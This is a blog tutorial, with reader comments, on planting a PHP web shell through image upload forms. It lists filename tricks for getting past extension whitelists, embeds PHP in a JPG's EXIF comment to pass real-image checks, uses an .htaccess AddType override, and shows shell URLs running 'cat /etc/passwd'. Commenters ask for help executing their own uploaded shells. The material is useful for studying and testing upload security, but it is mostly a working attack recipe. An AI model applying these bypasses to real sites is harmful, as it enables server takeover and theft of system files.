Friday, 10 May 2013

How to shell a server via image upload and bypass extension + real image verification

During a website audit, upload forms and other interactive 'user-content' driven facilities are often found to be protected by client side and/or server side security checks. This tutorial presents the methods that can be used to circumvent these security checks. In this case we're specifically considering image uploads that allow JPG files in particular.

Each security measure numbered below will be briefly discussed and paired with an appropriate bypass method, this tutorial aims to provide a complete'ish solution.

1. Client side file verification (with Javascript and/or HTML attributes)

<input name="fileToUpload" type="file" onchange="check_file()" 
if($_FILES['userfile']['type'] != "image/jpg") 

The bypass is trivial, simply rename your shell with an allowed extension/content type by editing the request header data with an intercepting proxy, I like burp, but FF Tamper Data add-on is great too.

2. A white-list of file extensions is in place so that anything that isn't a picture is DENIED:

$valid_file_extensions = array(".jpg"".jpeg"".gif"".png");  

Often there will then be some sort of string manipulation to determine the file name and extension of an uploaded file. The strength of this code will determine whether one of the following bypasses will work. Functions like 'strrchr' shown below may play a part in this process and may be passable given a little bit of imagination!

$file_extension strrchr($_FILES["file"]["name"], ".");  

Here is a list of bypasses:

shell.jpg.php (satisfies as check for jpg only)
shell.jpg.PhP (obfuscation)
shell.php;.jpg (sometimes can ignore whats after ";")
shell.php%0delete0.jpg (the infamous NULL byte which comments out trailing text, remove the word delete so the zeros join together, blogspot strips this string!)

shell.php.test (defaults to first recognised extension ignoring "test")
shell.php.xxxjpg (still ends in .jpg, but not recognised extension so will default to php!)
.phtml (a commonly used php parsed extension often forgotten about!)
.php3/.php4/.php5 (valid PHP extensions possibly left out of extension blacklists)

3.Perform further checks once uploaded to make sure it is a REAL image:

$imageinfo getimagesize($_FILES['userfile']['tmp_name']);

The function getimagesize() effectively confirms whether the uploaded file is an image or not. At this point, all the other methods will fail (there are other functions that can be used with a similar goal such as checking image dimensions). The only full-proof solution is to actually upload a real image which will actually pass these checks rather than trying to bypass them.

We turn to the trusty JPG file as our example image. There is an amazing amount of information that can be stored in a jpg file along side the actualy image data. EXIF 'meta' data such as the camera model the image was taken on, image descriptions, and comments are editable with progams such as GIMP and even a hex editor. For purposes of this tutorial I use Exif Pilot. (Edit: My good pal Hooded Robin wrote a nifty exif editor and shell builder in Ruby, check it out here).

Create a small image (avatar size) in MSPaint (white background), we can use Exif Pilot to open/edit the file and edit the Exif data- inserting our PHP code into the 'comment' section. See the pic below, I am using my generic 'tiny shell' code to allow me to pass shell commands to the server on the fly.


Now we can upload the jpg file using an extension bypass shown earlier, and it will pass the real image check.

To run commands on the server, usage would be:

website.com/shell.jpg.php?r0ng=cat /etc/passwd

4.Found an extension that will upload but its not valid php...

Upload an .htaccess file which sets an arbitrary file extension to be processed as php. If there is already an .htacess file in the image upload directory this should be automatically overwritten.
Create a .htaccess file and put the following code, then upload it (replace .mp3 with whatever extension passed).

AddType application/x-httpd-php .mp3

Upload your shell as shell.mp3. Then access as: website.com/shell.mp3?r0ng=cat /etc/passwd


(If you find this useful, why not checkout a advert below to support the blog? :O ) ~r0ng


  1. are you sure call php file?
    not jpg file
    *on "Perform further checks once uploaded to make sure it is a REAL image:" section

    1. Yes, call the file with a php extension, the real image bypass is to avoid real image verification checks, but the webserver will only interpret the file as php if it is given a valid php extension or you manage to add .jpg as an Addtype via .htaccess (shown in part 4).

  2. What do we do with Nginx Server? Nginx Server does not accept .htaccess.
    Please help!

  3. i need help also..im totally blurred

  4. This comment has been removed by a blog administrator.

  5. what if the uploader using shell.jpg.php uploads it, but changes the name of the file to some numbers 45522363.jpg, how do i run it. i try /picture/45522363.jpg.php, it didnt work like wise using 45522363.jpg directly also using 45522363.php. the shell is uploaded and i cant access it.

  6. i have been challenged to bypass a image upload functionality. The different thing which i observed is that whenever I upload an image with extension like example.php.jpg (which has a php code inside it), it is uploaded to the server with the name example.jpg and when I opened the image from URL. It said The image "URL of image" cannot be displayed because it contains errors. Where the developer may have made the mistake? How can i execute the php code which is inside the image? Please elaborate.